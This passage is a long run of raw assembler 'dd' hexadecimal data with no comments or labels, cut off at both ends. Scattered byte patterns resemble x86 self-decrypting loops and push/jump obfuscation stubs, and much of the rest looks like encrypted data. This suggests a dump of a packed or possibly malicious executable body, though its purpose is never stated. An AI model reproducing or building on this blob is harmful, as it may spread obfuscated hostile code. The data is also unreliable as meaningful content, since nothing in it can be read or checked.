11E9h dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h dd 29840F04h, 0C7000000h, 383D0685h, 109h, 10F5000h, 8FFE244Ch dd 383D0A85h, 2858D09h, 8D09383Dh, 383D0ABDh, 0E9388909h dd 23h, 29E9858Dh, 408B0935h, 0F3170538h, 85899B46h, 9383D02h dd 29E9858Dh, 408B0935h, 685893Ch, 8D09383Dh, 383D1F85h dd 0B5858909h, 0E9093525h, 87h, 60D48B52h, 8B08728Bh, 0B2B80C7Ah dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh dd 7, 6280630h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah, 0AC000000h dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 383F9285h, 5D858909h dd 8D09350Bh, 383FBA85h, 9D858909h, 8D09352Ah, 383FE285h dd 4D858909h, 0E809350Ch, 14h, 48486A09h, 8478E4B6h, 7797A5AFh dd 4EFD9285h, 94028A0Fh, 7AF18166h, 81F95BFEh, 6CB8C3h dd 68F18B00h, 0 dd 2870Fh, 50B20000h, 0DA81575Fh, 6DACECEFh, 1F34FF5Ah dd 58D3B70Fh, 11E9h, 56948300h, 819D1575h, 43C30A7Fh, 212C4C95h dd 0C08162E2h, 0BDB5060h, 0C081F78Bh, 728D85DCh, 0E38ABE66h dd 0FCB1C081h, 0F08B4FABh, 813B0489h, 373388C9h, 0F3BF0F13h dd 8104EF83h, 95937BEEh, 0E0FF8138h, 0FFFFF93h, 0FFFFA885h dd 6E9FFh, 419B0000h, 0A106BB24h, 8EBh, 0 dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h dd 9351C19h, 6E61858Dh, 88B0938h, 1000888Bh, 0A8B0000h dd 0FC4A8B66h, 40E48D89h, 0BD830938h, 93523CDh, 0F840F00h dd 60000000h, 95FF006Ah, 9350829h, 0FFC4E961h, 8966FFFFh dd 0CEC1FC72h, 72896610h, 4CD5202h, 0E085895Ah, 8B093840h dd 3840E4B5h, 10CEC109h, 2728966h, 40E4B58Bh, 89660938h dd 8B61FC72h, 3840E085h, 958DC309h, 93508A1h, 1C699589h dd 95890935h, 93526ADh, 26AD85FFh, 85C60935h, 935179Dh dd 48D86853h, 0B5FFFCB1h, 9350EC9h, 3898858Dh, 0D0FF0935h dd 8298589h, 858D0935h, 9383D39h, 1EA18589h, 0EB0935h dd 5CEE9h, 5C2E900h, 8F680000h, 0E9093842h, 0FFFD3D14h dd 3843A668h, 3D0AE909h, 2968FFFDh, 0E9093844h, 0FFFD3D00h dd 3844CC68h, 3CF6E909h, 0E968FFFDh, 0E9093845h, 0FFFD3CECh dd 0C1DAFF5Dh, 0E6B7223Fh, 0BBE0FD72h, 0EFAC2D45h, 0B4E9F069h dd 61F892E7h, 0C65D2378h, 1816CAD3h, 0C25E227Bh, 0ACE0C8D5h dd 0FE00CCF6h, 0B31BC812h, 809C1509h, 761DD917h, 3641A52Bh dd 4213B91Ch, 9E271C36h, 0B61C3641h, 1C364210h, 3641A124h dd 4211B71Ch, 9D289C36h, 0ACDB09C5h, 10950350h, 0A2BC3E8Eh dd 0E279935h, 1AE4688Bh, 0DA5E9502h, 0A5BB3D1Ah, 0AD15B938h dd 65FD57CAh, 6F02F2F7h, 45073E24h, 4977E862h, 0D927C9D0h dd 15975A47h, 4AADF3DBh, 0BE8BCD8Bh, 0DBEBCC18h, 6FF2699Fh dd 44287h, 3D9AB800h, 1C859860h, 7B66F97Fh, 0D1C65E22h dd 7C1D14CCh, 0A367141Fh, 0CA8E0F8Ah, 0A1574451h, 0D789128Fh dd 6B5D3E5Bh, 0FF377D23h, 0A23312FDh, 0AE2B4721h, 0D0DF9F43h dd 44761B7Fh, 42851BDBh, 2F1C35B3h, 0A1E1E6CEh, 511B07D4h dd 0B832C26Eh, 9E623BA4h, 6ADE1582h, 7960F9F6h, 0BF0C7C77h dd 53CEF0D5h, 0CD29AB46h, 0D9C2DF53h, 50A994F9h, 3A9D389h dd 15B40000h, 896875EBh, 0E17DEF07h, 312AD4F8h, 2BCB4DA4h dd 41B114A4h, 14911C36h, 0C0D95520h, 0F599F5DBh, 0F60DD38Dh dd 9A5A82EDh, 3576BE04h, 0BD34BA1Ch, 0E4DA6919h, 0E97B7C25h dd 9D930Dh, 9D3A32CCh, 4522D256h, 0B5C25F61h, 35AAC5EFh dd 0D11FC11Ch, 0E4569E22h, 0D7C25F48h, 7656981Ch, 0AA268C52h dd 7C221C35h, 0AB55F978h, 4ACE25B0h, 0D69217AAh, 821F13C5h dd 7366FD6Fh, 0AA349A2Ah, 0CF641C35h, 99C27CAh, 0ED837D51h dd 777F01F0h, 0B5DA0DD3h, 0C8CE1502h, 0D474F11Ch, 1D05ACF2h dd 32Bh, 8516B3A1h, 5A435ED3h, 8F0C89A6h, 534851C9h, 9805948Dh dd 51CEE9Bh, 0DA510794h, 41ADEBFh, 0DE520697h, 98F4DCC1h dd 0FDFEC00Ah, 0A427B412h, 0A0BE2B47h, 0B23CC033h, 4851CD3Fh dd 993C37A9h, 4CB24D35h, 0D24B8D5h, 0CE3014E9h, 621C3547h dd 1C35575Ch, 0EF02978Ch, 35575F61h, 7B23761Ch, 78FCF7E2h dd 6C325676h, 1C355746h, 0B4589C42h, 25BF7EEh, 0FBEBED15h dd 0F2D4CAC8h, 0A8644ED5h, 1E000002h, 5206973Ch, 27D9C2DFh dd 48108D08h, 22D6C7D0h, 60D8E0Bh, 0FD9C9575h, 5643D8A0h dd 9D9345h, 5049E59Bh, 7B29654Bh, 12FDFD51h, 47339845h dd 9F43AE2Bh, 9D9E2DFh, 20D4525Bh, 0A925B2AEh, 30F5BFE5h dd 0EFF11C36h, 0CB188807h, 0A5322ED9h, 0FB9E9729h, 0E12C1EFBh dd 8689500Ah, 223h, 41A52B45h, 5BD51C36h, 859B5D3Eh, 0C967D918h dd 66B725CCh, 8958B7Eh, 0F96E9F93h, 4FF9894Fh, 0DA000000h dd 0BC39B2Eh, 0B7223DBFh, 0A63CB83Ch, 15036597h, 0AEEBFB9Dh dd 0EFF2D400h, 2055A44h, 0D97B0000h, 44D99FFCh, 0A7B8405Dh dd 879F613Ah, 5ED78912h, 2059623Bh, 0B5E6F36Ah, 0F0AD2843h dd 0B4E9F668h, 0F6A7302Ch, 5E647A52h, 5A12FDFDh, 0B7178A49h dd 6D74E913h, 5CF20286h, 1C36415Eh, 2B9D545Ah, 1AA5B835h dd 36413E84h, 3AB43A1Ch, 0E2BB35B7h, 5E95021Eh, 0A82D46B8h dd 41347E24h, 0AE301C36h, 32F6BB46h, 5C79F769h, 0C1D64E70h dd 7146AE32h, 8B6673EFh, 3E5BD5E7h, 54CF31B3h, 0C62EB241h dd 0E1BADF54h, 0BB019FEFh, 0AF1C3641h, 242901FBh, 0EC0283A1h dd 19C9305h, 25E7CB9Ch, 0F5BFE5A9h, 0FB1C3626h, 3626DFE5h dd 0EFD5DB1Ch, 12860DE9h, 491B801Dh, 1C362687h, 319B4985h dd 251C3626h, 0D5E07383h, 4813D1FDh, 3C150351h, 9588329Ah dd 54C98F0Ch, 974D814Dh, 13010C2Dh, 1169EA27h, 9230FCCFh dd 0EA65B40Ch, 693614B0h, 9C92068Dh, 362DCFFFh, 28CC50A3h dd 993C37A9h, 5C49E65Ah, 0D71AD4C5h, 2DA1794Ch, 0CDBEF877h dd 0EAFA9C0Bh, 0E99F61E5h, 0E89179F8h, 5E000000h, 12C6D7FCh dd 6719821Fh, 8D0CDC8h, 62168710h, 0C6CDCECBh, 3D5CD5B5h dd 16839860h, 405DD385h, 1089A55Bh, 0BBE9A58Bh, 12FDFD11h dd 47F3D805h, 9F43AE2Bh, 0F69021Dh, 0F54F3251h, 0AFC03EB0h dd 0B93DBF32h, 10802B47h, 426B5FB5h, 0EECEFEF0h, 19716B1Ah dd 0CF4EA68Bh, 1BD6C35Dh, 0C72AB7A9h, 0ED988CD9h, 7C866871h dd 0DE52250Fh, 7BF30DC1h, 0B111935Eh, 643F8610h, 6C41B5FCh dd 505C87C6h, 3DE089h, 15AF0000h, 41A12BB9h, 0F1951C36h dd 364209B3h, 15DBFD1Ch, 8A6974EBh, 5D60EE06h, 5D1C3641h dd 41497331h, 9B3D1C36h, 644DE15Bh, 7628CBCCh, 0F2F6BFA3h dd 57995740h, 0B1C46h, 2B6D0000h, 1C3641A5h, 5B4059D5h dd 9B91578h, 3E24FADDh, 773DA720h, 731C360Eh, 9CA7896Dh dd 2ABh, 47721100h, 0CF41B015h, 39AB4653h, 0C537BA27h dd 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh dd 5D2AC9D0h, 81E18951h, 4C1h, 4E98300h, 8B240C87h, 0FD682424h dd 89000039h, 0AB68240Ch, 89000076h, 68502404h, 2DBA19E5h dd 580F3558h, 0C1892482h, 8124048Bh, 4C4h, 48B5400h, 4C48324h dd 79BF5751h, 297A8D28h, 5F04247Ch, 8108408Fh, 28790840h dd 48B7A8Dh, 0E2895224h, 4C281h, 0C2830000h, 24148704h dd 2434FF5Ch, 4C48359h, 0FD376BE9h, 0CD3A93FFh, 189EED73h dd 0F259960Bh, 0EE434644h, 3846F6B8h, 8BC50309h, 20EBD1h dd 7 dup(0) dd 0E9000000h, 50Eh, 502E9h, 495C6800h, 1DE90938h, 68FFFD37h dd 93849D7h, 0FD3713E9h, 4B6468FFh, 9E90938h, 68FFFD37h dd 9384BC3h, 0FD36FFE9h, 0E5C270FFh, 0B42D40B8h, 0E3FE71E7h dd 0A92E46BAh, 0E4F56CF4h, 0FB8FFCB7h, 0B2267762h, 0F97F1CB9h dd 5F217A67h, 0E3C5D6C3h, 0FACFF5ABh, 1ACB12FDh, 0AD2847B9h dd 4210B646h, 54D19C36h, 0FB266760h, 3F41094Fh, 8D000000h dd 0E5DDF873h, 759E885Bh, 6B12E2C6h, 29F8AD15h, 13CDA64Fh dd 0BB6A4DE3h, 36811C35h, 2D306E5Eh, 0E3150D7Fh, 77EF11BDh dd 0CDB59262h, 3Ch, 0A50FD5F9h, 0A112FD80h, 6B85100Fh dd 0A52BE48Bh, 0A31C3641h, 4213B9E7h, 0D3111C36h, 1C3641E9h dd 0E709BBDDh, 5931840Fh, 5282F75h, 0BADC150Eh, 3A1EDE1h dd 12FDFAB9h, 24CB2BADh, 46AD2847h, 0C9BDE1B6h, 0C7D24F63h dd 9A0B82Ch, 6FD266AFh, 0D31ED0D9h, 0E98C78E5h, 572212F3h dd 0FFE0BDD8h, 6B76E9ABh, 0E2EA0488h, 0BADF679Ah, 0DA1AF4B5h dd 0B64E702Eh, 9C429C36h, 524FE355h, 4ED807Ah, 846F68h dd 418103EEh, 5158A119h, 5D3ABA9Ah, 6F5F3782h, 0FD3F851Bh dd 0B53B9C36h, 0B8079D41h, 0BC950419h, 0C8D6B21Ah, 0A56BEA02h dd 7D04F0F6h, 6BE9C9EFh, 7762F9A5h, 8710087Ch, 0FF2ABA6Ch dd 4697C979h, 0D4E5CF3Ch, 7E1854BDh, 7021CFBEh, 96031C9Eh dd 2A23115Eh, 1ADDE3h, 0A7B94387h, 6922A83Ah, 9016A56Bh dd 56B564h, 2E160000h, 0D50BC39Bh, 150E02D6h, 8E309C42h dd 0E0980592h, 0CD93534Ch, 10F2D71Bh, 2ACA991h, 49EB0000h dd 0B4A92F6Ch, 77E8702Dh, 0B7AF316Ah, 6E077922h, 1069326Bh dd 0A5F6E37Ah, 9D3833h, 0A4F9E678h, 465740DCh, 4E742A62h dd 4A12FDF8h, 77D13A99h, 2000002h, 46AD2847h, 364210B6h dd 4222241Ch, 8D361C36h, 0A71C3641h, 1C364121h, 36419335h dd 4121A71Ch, 6D38DC36h, 978B19B5h, 5F5501B3h, 9A2DBA39h dd 31D40AC2h, 0A74BCB70h, 0AD11E501h, 25CCA9A1h, 2313Dh dd 0E5C27000h, 0B42D40B8h, 0E3FE71E7h, 0A92E46BAh, 0E4F56CF4h dd 0FB8FFCB7h, 0B2267762h, 0F97F1CB9h, 5F217A67h, 0E3C5D6C3h dd 0F8CFF5ABh, 1ACB12FDh, 0AE2B47B9h, 35EDB843h, 5400B99h dd 0B234150Eh, 0DDF877E9h, 0BA2738C0h, 4119AC37h, 0BDF4578Dh dd 0BEE00BD5h, 41B9FFDDh, 0C5D01C36h, 0F30DC10Dh, 8965E7Bh dd 150E054Dh, 0F8718B33h, 0FAB903E1h, 2BAD12FDh, 1FC509C5h dd 12FDFA95h, 21BF0F91h, 12FDFA9Bh, 41ED098Fh, 0CE14A3BFh dd 12FDFAE4h, 6B30BEE0h, 916079F5h, 0FDFAAD03h, 0D7D1E412h dd 0FDFB03C9h, 0D9E30112h, 0CD12FDFAh, 0F9F7F9CBh, 6807F9D5h dd 48FB896Dh, 2C0BD5BEh, 546622AAh, 0C436BEDBh, 0EA6E2FA8h dd 0E48A6976h, 41D0FAA8h, 22C41C36h, 416A3CD2h, 16A11C36h dd 0F1508E3Eh, 0F1150E04h, 956D3A91h, 74809D07h, 0AB418BEh dd 89458916h, 0FDBC715Bh, 0B3436512h, 910E22D6h, 0AC2D562h dd 1CC206C2h, 12FDBC96h, 5AE80C92h, 0BD58013h, 660CE709h dd 51CEDB54h, 0C52BAD44h, 7F1DA331h, 87DE1C35h, 0BB91BC9Dh dd 0CD68950h, 0B5000000h, 365EA52Bh, 75F1Ch, 2BB00000h dd 1C3657A5h, 0D39B2EA8h, 21AD435Eh, 0E04B883h, 0A22AAC15h dd 559C0518h, 2BC6CCA5h, 0DC1255A1h, 0BB0E9918h, 5AD1EBE3h dd 0B713B73Fh, 45F4F607h, 4FA7A43Eh, 0CAA852C1h, 160EB00Bh dd 6EE7281h, 768E5658h, 27E9AC95h, 0A4927Ch, 71E30000h dd 9C914754h, 4FE09805h, 9F974952h, 46DFA1FAh, 38514A53h dd 0DDBEDB52h, 895001Bh, 0DCC1DE50h, 0E8F0824h, 862C721Ah dd 8212FDF6h, 9B2E7251h, 78F10BC3h, 0BBE99561h, 150E0590h dd 0E5F26C8Eh, 0B46A8A0Eh, 6134BF32h, 147F25A9h, 0D00BCB27h dd 45E416CEh, 3AB9E9ACh, 4550h, 0F1D68400h, 0A03934ACh dd 0EFEA85FBh, 0A5322AAEh, 0F0E980F8h, 0EF9BF0ABh, 0C63A6376h dd 0ED7328ADh, 0C3356673h, 0C76932AFh, 0F6F3D907h, 0B6E712FDh dd 10D115h, 0D1FD0000h, 3641A913h, 5742D91Ch, 0E48B6B6Dh dd 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh, 0DD54C82Bh dd 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 505D2AC9h dd 405E089h, 83000000h, 48704E8h, 14895C24h, 3A256824h dd 34890000h, 4DFE6824h, 14890000h, 271BBE24h, 0EE8163B4h dd 67A65109h, 57D6F746h, 0E770F4BFh, 5FFE2109h, 6733F681h dd 8B5408DAh, 0C4812414h, 4, 8BB53h, 0D3010000h, 1C8B3389h dd 4C48324h, 5A2434FFh, 8B04C483h, 89522434h, 4C281E2h dd 83000000h, 148704C2h, 31E95C24h, 0A4FFFD32h, 0E8C68A9Bh dd 411F2133h, 0B8396540h, 9384C2Dh, 0C88BC503h, 51E9h dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h dd 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh, 89F82BC1h dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h, 0FFE9E9FFh dd 3EBAFFFFh, 0E80009FDh, 0Ch, 58B449B6h, 31165E8h, 0AA18874Ah dd 68B0Fh, 0DA810000h, 209D0AD8h, 7DC7815Fh, 51000064h dd 0B95ED38Bh, 70013567h, 2C64F181h, 78B7001h, 928FE881h dd 0BB664889h, 0C081B765h, 21756FE9h, 7521E881h, 0D3816FB9h dd 33D7FCEDh, 81660789h, 83D8FFC6h, 4F4F01EFh, 0F281664Fh dd 0F49E412h, 0FFFFC985h, 0BE9FFh, 1C350000h, 0E3FF9922h dd 76303233h, 0D9E9F5h, 1D200000h, 0C12C0FBEh, 0CFDF2F82h dd 54FDBEB6h, 0A436365Dh, 0D500BCECh, 0D352C55Dh, 94A4D676h dd 0C44100FCh, 0CB50C1AEh, 0AC325277h, 0B8009CACh, 64F7F691h dd 389382CDh, 3C000000h, 40000000h, 94000000h, 5000000h dd 1000000h, 28000000h, 200000Ah, 20h dup(0) dd 0B000000h, 0E93C5190h, 1F3Ah, 3850A368h, 305AE909h dd 6868FFFDh, 0E9093851h, 0FFFD3050h, 3851FA68h, 3046E909h dd 0C868FFFDh, 0E9093852h, 0FFFD303Ch, 3853A368h, 3032E909h dd 8368FFFDh, 0E9093854h, 0FFFD3028h, 38557C68h, 301EE909h dd 2F68FFFDh, 0E9093856h, 0FFFD3014h, 3859C768h, 300AE909h dd 6368FFFDh, 0E909385Ah, 0FFFD3000h, 385B9968h, 2FF6E909h dd 8968FFFDh, 0E909385Eh, 0FFFD2FECh, 3861A468h, 2FE2E909h dd 0F768FFFDh, 0E9093864h, 0FFFD2FD8h, 38665E68h, 2FCEE909h dd 0C868FFFDh, 0E9093866h, 0FFFD2FC4h, 38672668h, 2FBAE909h dd 8268FFFDh, 0E9093867h, 0FFFD2FB0h, 3868A568h, 2FA6E909h dd 568FFFDh, 0E909386Ah, 0FFFD2F9Ch, 386B1568h, 2F92E909h dd 5103FFFDh, 0BCB12774h, 6F007825h, 0BFB72972h, 66FF811Ah dd 18712A73h, 0BDDEFB72h, 0E8B5203Bh, 0BCE1FE70h, 0EEAF2844h dd 664C923Ah, 6212FDF2h, 2B479231h, 1D9F43AEh, 0E9639306h dd 2C606C75h, 36414C76h, 4EA6481Ch, 3DBEE79h, 645215CBh dd 70501503h, 2BB92E62h, 130121A1h, 0F0AF1395h, 0F7AD4991h dd 305C02F1h, 0C44872h, 5A9A3C13h, 0C502C4h, 7262C313h dd 857AF459h, 0EC847692h, 708408EBh, 4AC9h, 9B2E0A00h dd 41B903A1h, 2BAD1C36h, 0E2CCBB97h, 2CC2CB5Dh, 0DA1302A0h dd 0A5E91502h, 99B5FFh, 932FB113h, 0D935E5DEh, 0CC02E33h dd 955C79F2h, 0CC5CE313h, 130066EAh, 40D9E3ABh, 5C489D59h dd 85D5527Bh, 0D91592h, 47760000h, 0D143AE2Bh, 3EB24158h dd 6919B522h, 8AF5CCCAh, 88150B1Fh, 9D0F8E66h, 0E937EA81h dd 0D823578Ah, 4EB78516h, 21C358Ah, 0B42C716Eh, 47D41FB8h dd 565C827Ch, 521C3589h, 1BD5C25Ch, 6C07F9D5h, 0EE068A69h dd 0AFF1944Ah, 0C1E71502h, 0E0B80BDCh, 27B194ECh, 918514E4h dd 0BD2BB965h, 0C10BCCDBh, 140DAF1Fh, 0BAB74985h, 93DDE7FDh dd 0D7D91C33h, 9E56DA19h, 0A39DE5C9h, 0DAE5C624h, 2138B242h dd 0E8912CB8h, 0A54CE9A0h, 1C69BDh, 11B6A400h, 4059D48Ch dd 0F8AA55Bh, 4552CA8Eh, 1089A058h, 0FFB908Bh, 661A8316h dd 0DD3C8CDh, 63158613h, 0E7C9D2CFh, 0F1D3F9A7h, 16C712FDh dd 0AB2E47B5h, 0BE843CF2h, 4F87F911h, 0FE72EC08h, 0C19B21BFh dd 98F1C35h, 2E15B6E7h, 0D50BC39Bh, 1503724Ah, 235708B8h dd 6E26F9A6h, 0F6D6D886h, 16A60CD2h, 0FCA21301h, 0E5EB79F8h dd 0A6130116h, 1974553Fh, 4E928525h, 83h, 0AE2B477Dh, 4158D143h dd 45D922B2h, 130F1C36h, 0CF631586h, 1941FD2h, 185F8549h dd 8C150364h, 0E3B6910Ah, 0D4FDA32Bh, 900BCCC4h, 253CBE0Eh dd 276818B4h, 0BCA8565Ah, 80F8D521h, 5FF4F0E9h, 7EE9A0F7h dd 1BA40BF3h, 7DDF0000h, 0A0BD4358h, 839C6439h, 5BD38516h dd 829B5D3Eh, 0FC8D8617h, 1982170Eh, 0D4C9CC67h, 1885120Ch dd 0CAD3CC60h, 0D2F8A6E6h, 0C612FDF0h, 2E47B615h, 0F26EF2ABh dd 1513B8E5h, 41A12BB9h, 13951C36h, 0ECF569E3h, 29F9305h dd 8160E999h, 306E5E36h, 15035501h, 972DF1F7h, 97831505h dd 1F30C3FBh, 18538B83h, 0A67E49DCh, 0CD1D7826h, 0DD035F47h dd 663E8916h, 90E3866h, 0ECF25875h, 5542DEE0h, 39C9048h dd 5A2D06E3h, 220C979Fh, 1B12h, 0D1CAEF4Dh, 1687120Fh dd 0CBD0CD62h, 1F7C1D15h, 0C4D9C059h, 110882F7h, 0D64D1388h dd 826DAC3h, 0D24E128Bh, 9CF0D8C5h, 0FDF0BC06h, 0A82BB812h dd 43AE2B47h, 9935EDB8h, 15E3EAE9h, 0B50071D9h, 0D298F8D2h dd 6805FBF5h, 0CBD98571h, 1502D544h, 0F29636B8h, 8D06ACh dd 0C2AE0213h, 18BB097Eh, 5D3ABA34h, 6E39A89Dh, 0FBEB2C94h dd 370EDA1Ah, 0C107ADh, 13DD0313h, 0D41625BBh, 7C220BCDh dd 5C667C50h, 581C35ABh, 62687656h, 561C35ABh, 7A48A450h dd 0DB8685CDh, 0C707DFEAh, 51847E19h, 841A624Dh, 4DB17B3Eh dd 0D44AB43Ah, 3DCA29C7h, 841AB26Ah, 467EB3BAh, 0AB418BEh dd 4C148916h, 381FC7D0h, 65B150E2h, 1A44D4BEh, 0DD7F0000h dd 40DDA3F8h, 0A3BC4459h, 7BF36536h, 0A2BB3D5Eh, 0DCAD6637h dd 0F9A2372Eh, 0B4E9EC87h, 0F8A5322Ch, 0AAF3EC80h, 0B218C606h dd 0A612FDEFh, 2B47D6F5h, 1D9F43AEh, 0DC609306h, 4208B2F0h dd 0DAFC1C36h, 643C871Ah, 4CC33A68h, 0B9431503h, 4BA3AA7h dd 1549B9E2h, 19C7A1F4h, 130132B3h, 754F4AE3h, 7F455B73h dd 7B130132h, 77537B75h, 28B1A953h, 13310BAh, 12E20413h dd 0CE45AD7Ch, 0F925CB0Bh, 9EE1936Bh, 817B4E80h, 0A12D974Dh dd 87297F8Dh, 8DA1575Dh, 1948F7Fh, 0FBD31DC3h, 5AACAAE5h dd 44880E78h, 0BA3AA7BAh, 451DA833h, 0CBED5B89h, 0CFD17F65h dd 0AF15CBFFh, 0AB7F8DABh, 0B34DF105h, 2900F4BFh, 0D6147557h dd 61FD8318h, 0B2696C78h, 0AD348647h, 1969C5h, 11B6A400h dd 4059D48Ch, 0F8AA55Bh, 4552CA8Eh, 1089A058h, 0FFB908Bh dd 661A8316h, 0DD3C8CDh, 63158613h, 0E7C9D2CFh, 0EED3F9A7h dd 16C712FDh, 8C2B47B5h, 36416C56h, 0A846681Ch, 14819A24h dd 149B5BDDh, 3E841A6Eh, 3A1C3641h, 0C6D34AB4h, 3810A32Eh dd 0BA022C94h, 0FC58AB45h, 547854F8h, 3547248Eh, 928E201Ch dd 750BEB05h, 15024B82h, 245C7076h, 0E9557722h, 0C1965EE0h dd 627FF30Dh, 0C13E1A92h, 0F0AE1EF6h, 0BCD9741h, 0D76DB137h dd 0E1744DD7h, 968F5762h, 0E37CF003h, 7779FBF6h, 0F08F5579h dd 0E417C12Eh, 0B63D5AD2h, 0AA35BC32h, 0BADF571Fh, 933BB537h dd 8C66E34Dh, 0FDD1D720h, 29726F03h, 4DDF3D85h, 0BA72350Ah dd 43AE2B44h, 0A7BB35C1h, 0C5E1AA3Ah, 75FCE6E1h, 18898Dh dd 3196C400h, 6079F46Ch, 2FAAC53Bh, 6572EA6Eh, 30A9C038h dd 2FDBB06Bh, 86FAA336h, 2DB3E8EDh, 83F5A633h, 7A9F2EFh dd 0EDB319C7h, 0F6A712FDh, 0BCAD15D5h, 0C9D04936h, 0B71AA62Ah dd 62DC1818h, 7C22D1CEh, 932AE44h, 24D0345Fh, 7E4E0691h dd 2900560h, 6C05FB15h, 0C2E0866Dh, 13004FF8h, 0EA04EAECh dd 5B44D8E2h, 93CBE9Bh, 0B915CDD8h, 0CD63182Bh, 0A27A1C0Bh dd 801914A6h, 0FBF6E37Eh, 0A0E77D79h, 378FFDD0h, 7418B46Ch dd 2F408A18h, 0B234886Eh, 3AD1AC42h, 0AF51813Bh, 1FD521B4h dd 6B795579h, 81392561h, 1CA35355h, 268C5276h, 22813925h dd 0ED04958Ch, 9B49856Bh, 81392531h, 0E0738325h, 96130DD5h dd 72F6FD9Ah, 0FDF3757Ch, 4C39F1D1h, 0BA395ED6h, 53838A36h dd 3E6408ECh, 7A05B9F0h, 0D0EAE204h, 0A65A435Ch, 0D90D8Ah dd 0DD7D67DCh, 17906C56h, 69CB0000h, 94894F4Ch, 57C8900Dh dd 978F514Ah, 4EE79902h, 3049524Bh, 0C5D6C35Ah, 207D1813h dd 0C4D9C658h, 0E6B7203Ch, 6E548A42h, 6A12FDECh, 2B479A39h dd 1D9F43AEh, 0CB669801h, 55A123CEh, 312FF7C2h, 25CB4DA4h dd 0F80FBA9h, 7274150Eh, 4A702E5Ah, 3E12FDF4h, 0C52CB5A8h dd 0A549AD43h, 329A071Bh, 0EE069388h, 4B593519h, 12FDF481h dd 0ED837375h, 12FDF537h, 0E8F5F56h, 0D4C9D64Ah, 65F8A0F3h dd 445A727Ch, 0BD5C22Dh, 17A925CBh, 281E7F1Ah, 0CAD89F96h dd 1C364200h, 0F5FCF2F4h, 14098373h, 7EF2668Dh, 0E4B28561h dd 882BE99Eh, 16DD9Eh, 9D3A1800h, 0FCE57800h, 5B46D99Fh dd 31A6BE42h, 5C7DF46Ch, 8307743Fh, 2AAEEFEAh, 81F7A431h dd 37A9F2EFh, 4BFD9E3Bh, 0EB575D83h, 425312FDh, 0C39B2E81h dd 727FF10Bh dd 0E013DDFAh, 98F4985Ch, 688B0826h, 0E78210E4h, 0FD150E0Eh dd 55C9F3DBh, 39704F4Ch, 2539FE3Bh, 40AE0939h, 0A7BE408Ch dd 7A2CC232h, 6E12FE37h, 0D4FB8968h, 9512FE37h, 0EA232410h dd 7D928807h, 5Ah, 0C7872E4Eh, 6D01B707h, 0BBA45A5Ch, 45AC2D45h dd 438733C3h, 93735987h, 51671C35h, 0C82CC2DFh, 35939C3Ah dd 935E801Ch, 3593C305h, 3321841Ch, 50ABF31Ah, 207489h dd 2B530000h, 1C3641A4h, 9C30E8BBh, 3698706h, 636B6D15h dd 28B6C159h, 130116A2h, 16DE1096h, 0AD159241h, 44D8696Fh dd 0AC14985Bh, 78F00153h, 0D265915Fh, 21BF0FC7h, 15035AEEh dd 0A315DC02h, 29FAE48Fh, 5C5AFB3Dh, 0DB570992h, 0A8C133BEh dd 0A5BC231h, 0F6F36F1Ah, 269A597Eh, 8D638D0Ah, 0CBD44810h dd 0E4788228h, 5D68FBFBh, 0F0FE9B95h, 617FC6DCh, 73750BCEh dd 1DBAB62Ah, 0C3B1D1B1h, 3090051Eh, 8A6A0B11h, 8C707503h dd 0F06D6400h, 4A7F3F04h, 3682A16Ah, 8DA11BDBh, 5DD18714h dd 0E8388844h, 0A6EF3701h, 0A719985Ch, 0F9E70A8Fh, 51CDB8ACh dd 615B5348h, 9E22D1C8h, 4F48E456h, 0D48C17A4h, 6E6B06F8h dd 0FBC1DF83h, 0EFA3FF96h, 4BEF07E9h, 0CCBF5E95h, 0C35A649Ch dd 7E701ED6h, 8E02F1E6h, 6FF10095h, 1F5F6F81h, 298B1160h dd 8D6A8A93h, 824A57CBh, 629FFD3Ah, 9F21D0CDh, 0F77C6A23h dd 170C80FFh, 61FD6F82h, 6E077978h, 13F0886Bh, 1C54621h dd 6FAD17CDh, 0E5A9AB32h, 326FF5BFh, 1EFF1ABh, 0C1B4A0F5h dd 269834ADh, 8D6A8A0Fh, 824A57CBh, 0FFF7E078h, 0E8A0F380h dd 9BB7BEE4h, 7D2DA3FFh, 0E160F209h, 0E7B43ABCh, 0DE4FD71h dd 9BD85769h, 0FF5BBF05h, 0BB35BBA3h, 5B23A53Bh, 0CE2F93FFh dd 821F13E6h, 9739724Ah, 38B5D398h, 0D5E7DFBCh, 3BB54158h dd 0C739B825h, 58C82BAEh, 0F06E190Bh, 0EA14BAE3h, 128C6875h dd 0AD4F7F1Ch, 46CD29B0h, 0D44D5AD2h, 0C7749497h, 21CF3B5Ah dd 60BD24CFh, 0B5AD4F74h, 0AB4BCD24h, 0F9A23F31h, 63FCE987h dd 0B948876h, 58D7E9E5h, 8E32B63Dh, 497F564Ch, 9B22D214h dd 1CD8510h, 72AB3FC1h, 3BBB9446h, 61BE518Fh, 0AC32ACCDh dd 415CD345h, 83263EB2h, 738EDE67h, 0C72AC4F0h, 4E7CD34h dd 54270D7Eh, 4950CDDAh, 989527A7h, 0A2FBC1DFh, 0E9EFBB32h dd 8C68EC07h, 0AC3529AFh, 425FD345h, 0E0D441AFh, 4C801915h dd 0A2586280h, 4A4CBB32h, 0B0DDCDAAh, 0B7EA5398h, 23h dd 0AC294718h, 47EFBA45h, 22917D2Eh, 0D80173D8h, 9759DB16h dd 0B36AA937h, 484E1502h, 191753h, 47780000h, 0BA45AC29h dd 0F39737EFh, 0A74A57C9h, 6843D125h, 7C15036Dh, 4992415Ah dd 